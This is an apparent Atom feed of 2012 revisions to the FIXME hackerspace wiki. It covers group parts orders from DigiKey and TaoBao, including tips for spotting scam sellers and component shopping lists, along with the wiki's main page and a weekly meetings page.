* Part for my laptop before it falls apart (I'll pay). -- smarter&lt;br /&gt;
** http://item.taobao.com/item.htm?id=5788340858&amp;amp;ali_trackid=2:mm_10011550_2325296_9002527,0:1337006335_4z5_37098745&lt;br /&gt;
&lt;br /&gt;
* UV-EPROM (OTP-EPROM) (Dur et cher à trouver en Europe, j'ai pris tout le stock chez farnell de 27c801 (UV)...) -- [[User:wertenbr]]&lt;br /&gt;
** 27c801, 27c080, 27c160, 27c320 (en quantité, si moins de 2-3chf pièce) (et quelques 27c1024)&lt;br /&gt;
&lt;br /&gt;
== Important note ==&lt;br /&gt;
If you're only buying a handful of parts from China, make sure that you consider the following things before you commit:&lt;br /&gt;
# These items could be cheaper shipped from eBay or other similar websites&lt;br /&gt;
# Even if they aren't cheaper, don't forget that you will have to pay extra shipping fees and taxes to get these items to Switzerland&lt;br /&gt;
# If something breaks, doesn't arrive, etc, you have no one to go to, and even I don't know how refunds and stuff work on TaoBao&lt;br /&gt;
&lt;br /&gt;
You can try using AliExpress to find certain things cheaply. You can also get there that are obviously fake (Such as a Class 10 16 gb MicroSD card for 10$), and get all of your money back if you can proove that the card is actually Class 4 or something - either way, you get a free MicroSD card!&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2176</id>
		<title>TaoBao Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2176"/>
				<updated>2012-05-09T21:07:30Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Min Lin from [http://xinchejian.com XinCheJian] has offered to help order and route parts from TaoBao to western hackerspaces.&lt;br /&gt;
&lt;br /&gt;
These orders will have to be in high volume for low price parts: think 1000+ LEDs, transistors; 100+ cables, etc.&lt;br /&gt;
&lt;br /&gt;
== How to find stuff on TaoBao ==&lt;br /&gt;
&lt;br /&gt;
TaoBao is the Chinese equivalent of eBay.  Like on eBay, or maybe even more so, there are scam offers.  There are several ways to reduce the risk of being scammed;  following the procedure below should give you a good start.&lt;br /&gt;
&lt;br /&gt;
# go to http://translate.google.com and translate the term you're searching for into Simplified Chinese.  Copy the result.  Often there are several results; you might have to repeat the following steps for them.&lt;br /&gt;
# paste the result into http://taobao.com and hit search.&lt;br /&gt;
# use the google translate extension for chrome to translate the result page.&lt;br /&gt;
# possibly limit your results by using the categories block on the top of the results.&lt;br /&gt;
# observe your results - do they match what you were looking for?  You might have to use different search terms to broaden or limit your search.  Look at the Chinese description text of results that match your objective to refine your search terms.  Repeat searching until you have a set of results you are comfortable with.  You will have hundreds, usually.&lt;br /&gt;
# Do '''not''' sort by price.  That will sort the scammers up top.  Try sorting by &amp;quot;Sales&amp;quot;: this will sort items to the top that have been bought recently by other people as well, thereby leveraging the swarm intelligence of buyers.&lt;br /&gt;
# depending on the item you're searching for (especially for more expensive things), you might want to filter results for 7-day-return policy.  Vendors that offer 7 day return will have to deposit money with TaoBao, so chances they are scammers are lower.  Some items will be sold on Tmall, which is the professional outlet of TaoBao.  Vendors there might be even more credible.&lt;br /&gt;
# Use common sense when selecting items:  stuff in China is way cheaper (50% - 10% of western prices is not uncommon), but if there is one offer that is unreasonably cheaper than the rest, be aware that it might be a scam.&lt;br /&gt;
# Check if the seller might be credible.  Be aware that any of the following properties ''might'' have been faked.  Use enhanced common sense.&lt;br /&gt;
## Look at the item description (electronic components rarely have a description though).&lt;br /&gt;
## Read the Evaluations for the item/seller.  Look at the time line of the evaluations.&lt;br /&gt;
## Look at the average performance rating of the seller.  They are rated on a scale from 1 to 5 for accuracy, service and speed.  5 is best.  TaoBao also compares the vendor to his peers (selling similar items) and shows the result in a percentile.  RED in China means GOOD.  So, a vendor with 4.9 and 40% RED on service is very good.  4.3 with GREEN 10% means not really good.&lt;br /&gt;
## Look at the vendor's credit (as a seller, not as a buyer!):  more hearts is good, more diamonds better, more crowns even better, etc.&lt;br /&gt;
# win!  note down multiple items, because sometimes the vendor might not have the item in stock.  If you like a vendor or know that the vendor is credible (we'll publish a list below), you can browse their store to find items so that you can combine shipping etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Collect! ==&lt;br /&gt;
&lt;br /&gt;
Let's slowly collect what we think would be useful to have:&lt;br /&gt;
&lt;br /&gt;
* Banana plugs http://item.taobao.com/item.htm?id=3381426784&lt;br /&gt;
* breadboards (small ones as well?)&lt;br /&gt;
* aligator cables&lt;br /&gt;
* banana cables&lt;br /&gt;
* digital multimeters&lt;br /&gt;
* soldering irons&lt;br /&gt;
* Throwies:&lt;br /&gt;
** LEDs (best are diffuse, rectangular, pink)&lt;br /&gt;
** CR2032 batteries&lt;br /&gt;
** sticky tape&lt;br /&gt;
** magnets&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2175</id>
		<title>TaoBao Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2175"/>
				<updated>2012-05-09T20:57:54Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Min Lin from [http://xinchejian.com XinCheJian] has offered to help order and route parts from TaoBao to western hackerspaces.&lt;br /&gt;
&lt;br /&gt;
These orders will have to be in high volume for low price parts: think 1000+ LEDs, transistors; 100+ cables, etc.&lt;br /&gt;
&lt;br /&gt;
== How to find stuff on TaoBao ==&lt;br /&gt;
&lt;br /&gt;
TaoBao is the Chinese equivalent of eBay.  Like on eBay, or maybe even more so, there are scam offers.  There are several ways to reduce the risk of being scammed;  following the procedure below should give you a good start.&lt;br /&gt;
&lt;br /&gt;
# go to http://translate.google.com and translate the term you're searching for into Simplified Chinese.  Copy the result.  Often there are several results; you might have to repeat the following steps for them.&lt;br /&gt;
# paste the result into http://taobao.com and hit search.&lt;br /&gt;
# use the google translate extension for chrome to translate the result page.&lt;br /&gt;
# possibly limit your results by using the categories block on the top of the results.&lt;br /&gt;
# observe your results - do they match what you were looking for?  You might have to use different search terms to broaden or limit your search.  Look at the Chinese description text of results that match your objective to refine your search terms.  Repeat searching until you have a set of results you are comfortable with.  You will have hundreds, usually.&lt;br /&gt;
# Do '''not''' sort by price.  That will sort the scammers up top.  Try sorting by &amp;quot;Sales&amp;quot;: this will sort items to the top that have been bought recently by other people as well, thereby leveraging the swarm intelligence of buyers.&lt;br /&gt;
# depending on the item you're searching for (especially for more expensive things), you might want to filter results for 7-day-return policy.  Vendors that offer 7 day return will have to deposit money with TaoBao, so chances they are scammers are lower.  Some items will be sold on Tmall, which is the professional outlet of TaoBao.  Vendors there might be even more credible.&lt;br /&gt;
# Use common sense when selecting items:  stuff in China is way cheaper (50% - 10% of western prices is not uncommon), but if there is one offer that is unreasonably cheaper than the rest, be aware that it might be a scam.&lt;br /&gt;
# Check if the seller might be credible.  Be aware that any of the following properties ''might'' have been faked.  Use enhanced common sense.&lt;br /&gt;
## Look at the item description (electronic components rarely have a description though).&lt;br /&gt;
## Read the Evaluations for the item/seller.  Look at the time line of the evaluations.&lt;br /&gt;
## Look at the average performance rating of the seller.  They are rated on a scale from 1 to 5 for accuracy, service and speed.  5 is best.  TaoBao also compares the vendor to his peers (selling similar items) and shows the result in a percentile.  RED in China means GOOD.  So, a vendor with 4.9 and 40% RED on service is very good.  4.3 with GREEN 10% means not really good.&lt;br /&gt;
## Look at the vendor's credit (as a seller, not as a buyer!):  more hearts is good, more diamonds better, more crowns even better, etc.&lt;br /&gt;
# win!  note down multiple items, because sometimes the vendor might not have the item in stock.  If you like a vendor or know that the vendor is credible (we'll publish a list below), you can browse their store to find items so that you can combine shipping etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Collect! ==&lt;br /&gt;
&lt;br /&gt;
Let's slowly collect what we think would be useful to have:&lt;br /&gt;
&lt;br /&gt;
* Banana plugs http://item.taobao.com/item.htm?id=3381426784&lt;br /&gt;
* breadboards (small ones as well?)&lt;br /&gt;
* aligator cables&lt;br /&gt;
* banana cables&lt;br /&gt;
* digital multimeters&lt;br /&gt;
* soldering irons&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2170</id>
		<title>TaoBao Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2170"/>
				<updated>2012-05-09T11:22:45Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Min Lin from [http://xinchejian.com XinCheJian] has offered to help order and route parts from TaoBao to western hackerspaces.&lt;br /&gt;
&lt;br /&gt;
These orders will have to be in high volume for low price parts: think 1000+ LEDs, transistors; 100+ cables, etc.&lt;br /&gt;
&lt;br /&gt;
== How to find stuff on TaoBao ==&lt;br /&gt;
&lt;br /&gt;
TaoBao is the Chinese equivalent of eBay.  Like on eBay, or maybe even more so, there are scam offers.  There are several ways to reduce the risk of being scammed;  following the procedure below should give you a good start.&lt;br /&gt;
&lt;br /&gt;
# go to http://translate.google.com and translate the term you're searching for into Simplified Chinese.  Copy the result.  Often there are several results; you might have to repeat the following steps for them.&lt;br /&gt;
# paste the result into http://taobao.com and hit search.&lt;br /&gt;
# use the google translate extension for chrome to translate the result page.&lt;br /&gt;
# possibly limit your results by using the categories block on the top of the results.&lt;br /&gt;
# observe your results - do they match what you were looking for?  You might have to use different search terms to broaden or limit your search.  Look at the Chinese description text of results that match your objective to refine your search terms.  Repeat searching until you have a set of results you are comfortable with.  You will have hundreds, usually.&lt;br /&gt;
# Do '''not''' sort by price.  That will sort the scammers up top.  Try sorting by &amp;quot;Sales&amp;quot;: this will sort items to the top that have been bought recently by other people as well, thereby leveraging the swarm intelligence of buyers.&lt;br /&gt;
# depending on the item you're searching for (especially for more expensive things), you might want to filter results for 7-day-return policy.  Vendors that offer 7 day return will have to deposit money with TaoBao, so chances they are scammers are lower.  Some items will be sold on Tmall, which is the professional outlet of TaoBao.  Vendors there might be even more credible.&lt;br /&gt;
# Use common sense when selecting items:  stuff in China is way cheaper (50% - 10% of western prices is not uncommon), but if there is one offer that is unreasonably cheaper than the rest, be aware that it might be a scam.&lt;br /&gt;
# Check if the seller might be credible.  Be aware that any of the following properties ''might'' have been faked.  Use enhanced common sense.&lt;br /&gt;
## Look at the item description (electronic components rarely have a description though).&lt;br /&gt;
## Read the Evaluations for the item/seller.  Look at the time line of the evaluations.&lt;br /&gt;
## Look at the average performance rating of the seller.  They are rated on a scale from 1 to 5 for accuracy, service and speed.  5 is best.  TaoBao also compares the vendor to his peers (selling similar items) and shows the result in a percentile.  RED in China means GOOD.  So, a vendor with 4.9 and 40% RED on service is very good.  4.3 with GREEN 10% means not really good.&lt;br /&gt;
## Look at the vendor's credit (as a seller, not as a buyer!):  more hearts is good, more diamonds better, more crowns even better, etc.&lt;br /&gt;
# win!  note down multiple items, because sometimes the vendor might not have the item in stock.  If you like a vendor or know that the vendor is credible (we'll publish a list below), you can browse their store to find items so that you can combine shipping etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Collect! ==&lt;br /&gt;
&lt;br /&gt;
Let's slowly collect what we think would be useful to have:&lt;br /&gt;
&lt;br /&gt;
* Banana plugs http://item.taobao.com/item.htm?id=3381426784&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2169</id>
		<title>TaoBao Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=TaoBao_Order&amp;diff=2169"/>
				<updated>2012-05-09T10:52:35Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: Created page with &amp;quot;Min Lin from [http://xinchejian.com XinCheJian] has offered to help order and route parts from TaoBao to western hackerspaces.  These orders will have to be in high volume for lo...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Min Lin from [http://xinchejian.com XinCheJian] has offered to help order and route parts from TaoBao to western hackerspaces.&lt;br /&gt;
&lt;br /&gt;
These orders will have to be in high volume for low price parts: think 1000+ LEDs, transistors; 100+ cables, etc.&lt;br /&gt;
&lt;br /&gt;
Let's slowly collect what we think would be useful to have:&lt;br /&gt;
&lt;br /&gt;
* Banana plugs http://item.taobao.com/item.htm?id=3381426784&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2168</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2168"/>
				<updated>2012-05-09T10:50:45Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==25 April (pending)==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Main_Page&amp;diff=2167</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Main_Page&amp;diff=2167"/>
				<updated>2012-05-09T10:47:39Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
{{DISPLAYTITLE:&amp;lt;span style=&amp;quot;display:none&amp;quot;&amp;gt;{{FULLPAGENAME}}&amp;lt;/span&amp;gt;}}&lt;br /&gt;
{{Boite&lt;br /&gt;
 | titre=Welcome to FIXME&lt;br /&gt;
 | bordure=black&lt;br /&gt;
 | fond=lightgray&lt;br /&gt;
 | couleurTitre=black&lt;br /&gt;
 | couleurTexteTitre=white&lt;br /&gt;
 | largeur=100%&lt;br /&gt;
 | flotte=both&lt;br /&gt;
}}&lt;br /&gt;
This is the working wiki of the FIXME Hackerspace, main website is at https://fixme.ch&lt;br /&gt;
{{BoiteFin}}&lt;br /&gt;
&lt;br /&gt;
{{Boite&lt;br /&gt;
 | titre=[[:Category:Projects|Projects]]&lt;br /&gt;
 | flotte=left&lt;br /&gt;
 | bordure=black&lt;br /&gt;
 | fond=lightgray&lt;br /&gt;
 | couleurTitre=gray&lt;br /&gt;
 | couleurTexteTitre=white&lt;br /&gt;
 | largeur=49%&lt;br /&gt;
 | icon=Projects.png}}&lt;br /&gt;
* [[:Category:Ongoing_Projects|Ongoing]] | [[:Category:Proposed_Projects|Proposed]] | [[:Category:Closed_Projects|Closed]]&lt;br /&gt;
* [[Project template]]&lt;br /&gt;
&lt;br /&gt;
===Top projects===&lt;br /&gt;
* [[Vending Machine]]&lt;br /&gt;
* [[Network]]&lt;br /&gt;
* [[Arm_Board]]&lt;br /&gt;
* [[RMLL 2012]]&lt;br /&gt;
* [[Tron_Restore]]&lt;br /&gt;
* [[RFID Doorlock]]&lt;br /&gt;
* [[Hydrofarm]]&lt;br /&gt;
* [[Logo]]&lt;br /&gt;
* [[T-shirt FIXME]]&lt;br /&gt;
* [[Web_Application]]&lt;br /&gt;
* [[Internal_Server]]&lt;br /&gt;
* [[HDD Flash Drive]]&lt;br /&gt;
{{BoiteFin}}&lt;br /&gt;
&lt;br /&gt;
{{Boite&lt;br /&gt;
 | titre=Events&lt;br /&gt;
 | flotte=right&lt;br /&gt;
 | bordure=black&lt;br /&gt;
 | fond=lightgray&lt;br /&gt;
 | couleurTitre=gray&lt;br /&gt;
 | couleurTexteTitre=white&lt;br /&gt;
 | largeur=49%&lt;br /&gt;
 | icon=Events.png}}&lt;br /&gt;
&lt;br /&gt;
===Recuring events===&lt;br /&gt;
* [[Weekly Meetings]], every wednesdays&lt;br /&gt;
* [[Electronics evening]], every mondays&lt;br /&gt;
* [[Hacking challenges]], every last friday of the month&lt;br /&gt;
&lt;br /&gt;
===Ponctual events===&lt;br /&gt;
* [[:Category:CodingNight|Coding Night]]&lt;br /&gt;
* [[:Category:Workshops|Workshops]]&lt;br /&gt;
* [[:Category:ShortTalks|Short Talks]]&lt;br /&gt;
&lt;br /&gt;
===Proposed events===&lt;br /&gt;
* [[Suggestion box]]&lt;br /&gt;
* [[Peer Evening]]&lt;br /&gt;
* [[:Category:Roundtables|Roundtables]] / [[:Category:Debates|Debates]] / [[Podcast]]&lt;br /&gt;
* [[:Category:Presentation|Presentation]] / [[:Category:Conferences|Conferences]]&lt;br /&gt;
* [[:Category:Code sprints|Code sprints]] / [[:Category:Scrums|Scrums]]&lt;br /&gt;
* ...&lt;br /&gt;
{{BoiteFin}}&lt;br /&gt;
&lt;br /&gt;
{{Boite&lt;br /&gt;
 | titre=Administration&lt;br /&gt;
 | flotte=left&lt;br /&gt;
 | bordure=black&lt;br /&gt;
 | fond=lightgray&lt;br /&gt;
 | couleurTitre=gray&lt;br /&gt;
 | couleurTexteTitre=white&lt;br /&gt;
 | largeur=49%&lt;br /&gt;
 | icon=Administration.png}}&lt;br /&gt;
* [[Internal Regulation]] [French]&lt;br /&gt;
* [[:Category:AG|General Assemblies]] [French]&lt;br /&gt;
* [[:Category:Meetings|Meetings]]&lt;br /&gt;
* [[Roles]]&lt;br /&gt;
* [[Project Meetings]]&lt;br /&gt;
* [[Communication]]&lt;br /&gt;
{{BoiteFin}}&lt;br /&gt;
&lt;br /&gt;
{{Boite&lt;br /&gt;
 | titre=Other&lt;br /&gt;
 | flotte=right&lt;br /&gt;
 | bordure=black&lt;br /&gt;
 | fond=lightgray&lt;br /&gt;
 | couleurTitre=gray&lt;br /&gt;
 | couleurTexteTitre=white&lt;br /&gt;
 | largeur=49%&lt;br /&gt;
 | icon=Other.png}}&lt;br /&gt;
* [[Personal Firewall]] &amp;amp;bull; Secure your machine on FIXME network&lt;br /&gt;
* [[CPU_Boards]]&lt;br /&gt;
* [[Movies|Geek movies]]&lt;br /&gt;
* [[Matos]] [French]&lt;br /&gt;
* [[Parts Order]]&lt;br /&gt;
* [[Modele XP]]&lt;br /&gt;
* [[Sandbox]] for syntax tests&lt;br /&gt;
* [[Resources]] (external resources, workshops, associations)&lt;br /&gt;
* [[Press_reviews]]&lt;br /&gt;
* [http://pad.fixme.ch/p/burgers Burgers]&lt;br /&gt;
{{BoiteFin}}&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Weekly_Meetings&amp;diff=1953</id>
		<title>Weekly Meetings</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Weekly_Meetings&amp;diff=1953"/>
				<updated>2012-03-16T20:51:53Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* Social meetings every Wednesday from 19h&lt;br /&gt;
* Open for everyone (members and non-members)&lt;br /&gt;
* Burgers for everyone, usually the order takes place at 20h30 in [https://pad.fixme.ch/p/burgers Etherpad]&lt;br /&gt;
&lt;br /&gt;
== Propositions ==&lt;br /&gt;
* Have a structured short meeting. (Rorist)&lt;br /&gt;
** Could be every wednesday at 20h&lt;br /&gt;
** Topics can be: Issues, project updates, ...&lt;br /&gt;
** Duration: 15-30mn&lt;br /&gt;
** Every meeting a secretary volunteers to take notes&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1828</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1828"/>
				<updated>2012-03-12T09:31:34Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Electronics Parts Order =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below, outside of the comment:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1827</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1827"/>
				<updated>2012-03-12T09:31:19Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Electronics Parts Order =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
